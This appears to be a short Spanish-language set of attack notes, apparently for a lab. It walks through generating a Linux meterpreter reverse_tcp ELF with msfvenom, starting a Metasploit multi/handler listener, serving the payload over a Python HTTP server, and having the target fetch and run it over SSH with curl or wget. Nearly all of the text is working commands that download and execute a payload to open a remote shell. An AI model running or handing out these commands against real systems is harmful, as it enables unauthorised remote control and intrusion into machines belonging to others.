msfvenom, hospedar y ejecutar vía ssh (manual, fiable)ssh vagrant@192.168.1.144 'uname -m; lsb_release -a 2>/dev/null || true'
# si responde x86_64 -> usa payload x64; si i686/i386 -> usa x86
# para x64
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.211 LPORT=4444 -f elf -o meter.elf
# para x86 (si el target es 32-bit)
# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.211 LPORT=4444 -f elf -o meter.elf
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp # o linux/x86/... según generaste
set LHOST 192.168.1.211
set LPORT 4444
set ExitOnSession false
exploit -j
meter.elf):python3 -m http.server 8000
ssh vagrant@192.168.1.144 'curl -fsSL <http://192.168.1.211:8000/meter.elf> -o /tmp/meter.elf && chmod +x /tmp/meter.elf && /tmp/meter.elf &'
(o con wget si curl no está instalado:
ssh vagrant@192.168.1.144 'wget -qO /tmp/meter.elf <http://192.168.1.211:8000/meter.elf> && chmod +x /tmp/meter.elf && /tmp/meter.elf &'